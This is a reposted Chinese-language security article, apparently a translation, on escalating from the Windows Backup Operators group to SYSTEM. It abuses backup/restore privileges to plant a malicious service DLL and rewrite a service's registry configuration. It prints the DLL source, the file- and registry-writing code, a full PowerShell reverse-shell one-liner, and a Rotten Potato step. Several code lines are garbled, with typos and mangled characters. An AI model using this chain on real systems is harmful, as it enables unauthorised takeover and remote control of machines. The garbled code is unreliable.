未加星标

通过Windows备份操作者的权限实现提权

字体大小 | |
[系统(windows) 所属分类 系统(windows) | 发布者 店小二03 | 时间 2018 | 作者 红领巾 ] 0人收藏点击收藏

通过Windows备份操作者的权限实现提权

windows 内置用户组中有一个 ”Backup Operators( 备份操作者 )” 。这个用户组的成员可以通过 SeBackupPrivilege 和 SeRestorePrivilege 来执行备份和还原操作,这意味着 DACL (自主访问控制列表)会忽略掉类似备份和还原的操作,从而允许备份操作者备份 / 恢复它没有权限访问的文件――比如说 System32 或者受保护的注册表内容等信息。

滥用这些权限可以实现例如获得 Administrator 或者 System 权限的提权操作。

我先推荐下 滥用系统 Token 实现 Windows 本地提权 这篇文章,里面深入介绍了包括备份和恢复权限等一系列滥用 Token 实现提权的技巧。

本文的目标是利用这些服务,换一种方法实现提权。

备注:本文的测试环境是 Win10 和 Windows Server 2016 ,然而涉及的技术在任意 Windows 版本中都可用。所有我用到的代码都在 https://github.com/decoder-it/BadBackupOperator 中。

首先简单的看下允许备份操作员执行某些高权限要求操作的 Windows API 调用。

CreateFile()
HANDLE WINAPI CreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
);

注意这里的 dwFlagsAndAttributes 参数,如果把这个值设置为 FILE_FLAG_BACKUP_SEMANTICS ,那么按照微软的说明文件中“这个文件正在被打开或创建,以用于备份或恢复操作。系统需要确保调用的进程在具有 SE_BACKUP_NAME 和 SE_RESTORE_NAME 权限时对文件覆盖进行安全检查。”

这意味着备份操作员可以在系统的任意位置创建文件,也就是说……

RegCreateKeyEx()
LONG WINAPI RegCreateKeyEx(
_In_ HKEY hKey,
_In_ LPCTSTR lpSubKey,
_Reserved_ DWORD Reserved,
_In_opt_ LPTSTR lpClass,
_In_ DWORD dwOptions,
_In_ REGSAM samDesired,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_Out_ PHKEY phkResult,
_Out_opt_ LPDWORD lpdwDisposition
);

这个 API 会创建一个注册表项(如果该注册表项不存在),并返回该项的值。也就是说 dwOptions 的值如果设置为 REG_OPTION_BACKUP_RESTORE ,那么因为我们正在执行一个“恢复”操作,所以无论 DACL 如何设置,我们都可以添加 / 修改注册表项。

但是这有一个前提条件需要满足:

你需要一个交互式 shell (例如 cmd.exe ),否则无法实现提权。

如何获得一个交互式 shell 就不在本文继续讨论了,之后我也会假设大家已经知道了备份操作员的登陆密码以及一个交互式桌面的权限。

那么接下来就是我的提权思路了:

先找到一个可以由普通用户启动的,具备 System 权限的服务,然后用我们修改过的 shell 服务二进制文件替换掉原本的二进制文件。

覆盖掉 HKLMSYSTEMCurrentControlSetServices 注册表项中的服务配置。

启动服务并成功提权。

那么接下来我需要先找到一个具备上述条件的服务,通过一番尝试候我找到了一个 dmwappushservice ,在 windows10 和 windows server 2016 中“ Windows 数据采集服务“中的一个服务。

通过下列指令,我可以列举出该服务的访问权限:

C:>sc sdshow dmwappushservice
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LCRP;;;AC)(A;;LCRP;;;IU)(A;;LCRP;;;AU)

用户有权限启动该服务,并且该服务的启动类型是手动触发启动。


通过Windows备份操作者的权限实现提权

和前面讨论的一样,我的想法是用自己修改的服务来替换掉正常的 Windows 服务。 C 和 C# 中已经有许多相关的例子了,但是在这个例子里过程稍微复杂了点:这个服务由 svchost.exe 启动。 Svchost.exe 是一个系统进程,通过动态链接库( DLL )的形式管理多个 Windows 服务,并通过 WIN32_SHARE_PROCESS 类型来标识管理的服务。

C:>sc queryex dmwappushservice
SERVICE_NAME: dmwappushservice
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :

注册表中保存了相关的服务配置,其中子参数还包含了要启动的 DLL 名称和要调用的 ServiceMain 函数名称。


通过Windows备份操作者的权限实现提权

尽管这方面没有多少官方文档,但通过谷歌和一些尝试,我还是想办法构造了一个有效的 DLL 。

下面是一个最简单的源代码,通过 VS2015 编译成 DLL 。

#include "stdafx.h"
#define EXPORT comment(linker, "/EXPORT:" __FUNCTION__ "=" __FUNCDNAME__)
__declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv);
__declspec(dllexport) DWORD WINAPI MyHandler(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext);
SERVICE_STATUS_HANDLE hSHandle;
SERVICE_STATUS ServiceStatus;
void Log(char *);
void Log(char *message)
{
FILE *file;
file = fopen("c:/temp/log.txt", "a+");
fputs(message, file);fclose(file);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
return TRUE;
}
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
#pragma EXPORT
Log("service mainn");
DWORD status = 0; DWORD specificError = 0xfffffff;
ServiceStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SRVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE; ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hSHandle = RegisterServiceCtrlHandlerW(L"dmwappushservice", (LPHANDLER_FUNCTION)MyHandler);
if ( hSHandle == 0)
{
Log("Registering Control Handler failedn");
return;
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( hSHandle, &ServiceStatus);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(π, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
if (!CreateProcess(L"c:\temp\rev.bat", NULL, NULL, NULL, 0, 0, NULL, NULL, &si, π))
Log("CreateProcess failedn");
return;
}
DWORD WINAPI MyHandler( DWORD dwControl,
DWORD dwEventType,
LPVOID lpEventData,
LPVOID lpContext)
{
#pragma EXPORT
switch (dwControl) {
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
break;
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus(hSHandle, &ServiceStatus);
return NO_ERROR;
}

两个导出函数分别是 ServiceMain 和 Myhandler 。在 svchost.exe 启动服务候,就会加载 DLL 并调用 ServiceMain() 函数,通过一系列的初始化后创建一个新的进程,这个进程将会在 SYSTEM 账户下执行批处理文件。

在我的测试过程中,启动服务后发现了一个 Procedure not found error 的报错。利用 ”Dependency Walker “工具进行分析后发现报错原因是修饰函数名的问题,所以我编写了对应的 EXPORT 指令来导出未修饰的函数,从而解决了这个问题。


通过Windows备份操作者的权限实现提权

通过一个可用的 servicedll.dll ,我可以开始下一步工作:获得一个特权 Shell 。这里要注意一下 ”dummyuser” 是备份操作员组里的一个用户,不是系统管理员。


通过Windows备份操作者的权限实现提权

接下来用 CreateRegEx() 函数和 CreateFile() 函数,通过 CreateRegEx() 函数来修改 ServiceDLL 的入口。

std::string data = "c:\windows\system32\servicedll.dll";
LSTATUS stat = RegCreateKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\CurrentControlSet\Services\smwappushsvc\Parameters",
0,NULL,REG_OPTION_BACKUP_RESTORE,KEY_SET_VALUE,NULL,&hk,NULL);
stat = RegSetValueExA(hk,"ServiceDLL",0,REG_EXPAND_SZ,(const BYTE*)data.c_str(),data.length() + 1);
if (stat != ERROR_SUCCESS)
{
printf("Failed writing key! %dn", stat);
return 1;
}
printf("Setting registry OKn");

而通过 CreateFile() 可以创建 Windows System 目录下的 service.dll 文件。

备注:我只是简单的复制了 dll 文件到一个允许写入的目录中,但为了展示 CreateFile() 函数可以写到任意位置,所以我在这里用 System32 文件夹。

#define FSIZE 11777 //ugly - quick & dirty
char buf[FSIZE+1];
LPCWSTR fnamein = L"c:\temp\servicedll.dll";
LPCWSTR fnameout = L"c:\windows\system32\servicedll.dll";
HANDLE source = CreateFile(fnamein,GENERIC_READ,0,NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
if (source == INVALID_HANDLE_VALUE) {
printf("Error, source file not opened.");
exit(EXIT_FAILURE);
}
HANDLE dest = CreateFile(fnameout,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_FLAG_BACKUP_SEMANTICS,
NULL);
if (dest == INVALID_HANDLE_VALUE){
printf("Could not open %s file, error %dn", fname, GetLastError());
exit(EXIT_FAILURE);
}
ReadFile(source, buf, FSIZE, bytesread, NULL);
printf("Read bytes from source dll: %dn", bytesread);
WriteFile(dest, buf, bytesread, &bytedwritten, NULL);
CloseHandle(dest);
CloseHandle(source);
printf("Bytes written to dest servicedll %dn",byteswritten);

之后就是批处理脚本,一个简单的反向 Shell 。

powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('IP',4444);$streamnt.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

通过这些步骤之后,就能看到神奇的地方了:


通过Windows备份操作者的权限实现提权

成功写入注册表,复制文件,启动服务并开始等待反向 shell 。


通过Windows备份操作者的权限实现提权

再深入思考下,看下其他 Windows 服务呢?

我在这里还发现了一个名为“ WebClient ”的 Windows 服务,它是通过特定的自定义事件,而不是由普通用户来触发启动服务的,这里我也没有深入研究官方文档,只是注意到它可以是任意自定义的事件。也就是说必须注册一个事件才能让 Windows 调用它。

WebClient 服务在 Windows10 中默认安装,而 Windows Server 2016 中也可以手动安装,它是在普通用户发送一个 webdav 请求的时候自动启动的。在本地测试的时候可以设置一个简单的 webdav 服务(例如 python 的 https://github.com/mar10/wsgidav ),从 CMD 中调用它:

c:>pushd \ip[resource]

然后你就能看到 Web Client 启动了。

现在运行下列命令来具体的查看这个服务内容:

C:>sc qtriggerinfo webclient
[SC] QueryServiceConfig2 SUCCESS
SERVICE_NAME: webclient
START SERVICE
CUSTOM : 22b6d684-fa63-4578-87c9-effcbe6643c7 [UUID PROVIDER ETW]

sc 表明它由一个自定义触发器启动, UUID 是 22b6d684-fa63-4578-87c9-effcbe6643c7 。

有了 uuid 以后可以轻松的用 C/C# 程序来通过程序触发任意的事件。

下面已经有了一个现成的脚本:

http://www.lieben.nu/liebensraum/2016/10/how-to-start-a-trigger-start-windows-service-with-powershell-without-elevation-admin-rights/

在我这个例子中,我没有调用 webdav 的链接,因为现在已经够启动脚本了。

Webclient 服务也是通过 svchost.exe 启动的,所以我重新使用了之前的思路:同样的 DLL 来重新覆盖注册表项,启动触发器脚本。


通过Windows备份操作者的权限实现提权

可以看到它的效果,但是主要到我们的权限只是“ Local Service “,一个依然受到限制的内部用户组。

但是等下,让我们来仔细看看现在的权限。


通过Windows备份操作者的权限实现提权

Impersonate 和 AssignPrimary 两个 Token 眼熟不?还记得 Rotten Potato (译者注:提权工具,详情见 https://github.com/foxglovesec/RottenPotato )吗?马上就能获得 SYSTEM 权限了。

下面是我修改过的 Rotten Potato 工具 ( https://github.com/foxglovesec/RottenPotatoNG ) ,执行一下它:

PS C:temp> .myrotten * c:temprev.bat

看下监听到的情况


通过Windows备份操作者的权限实现提权
SYSTEM 权限!

总的来说我是根据 seRestorePrivilege (备份操作员中的一个权限)实现提权的,相信还有更多第三方没有配置好的服务可以让你进一步尝试利用。

本文系统(windows)相关术语:三级网络技术 计算机三级网络技术 网络技术基础 计算机网络技术

tags: SERVICE,DWORD,ServiceStatus,NULL,Windows,In,服务,提权,权限,备份,注册表,amp,启动,HANDLE,CreateFile
分页:12
转载请注明
本文标题:通过Windows备份操作者的权限实现提权
本站链接:https://www.codesec.net/view/604144.html


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 系统(windows) | 评论(0) | 阅读(27)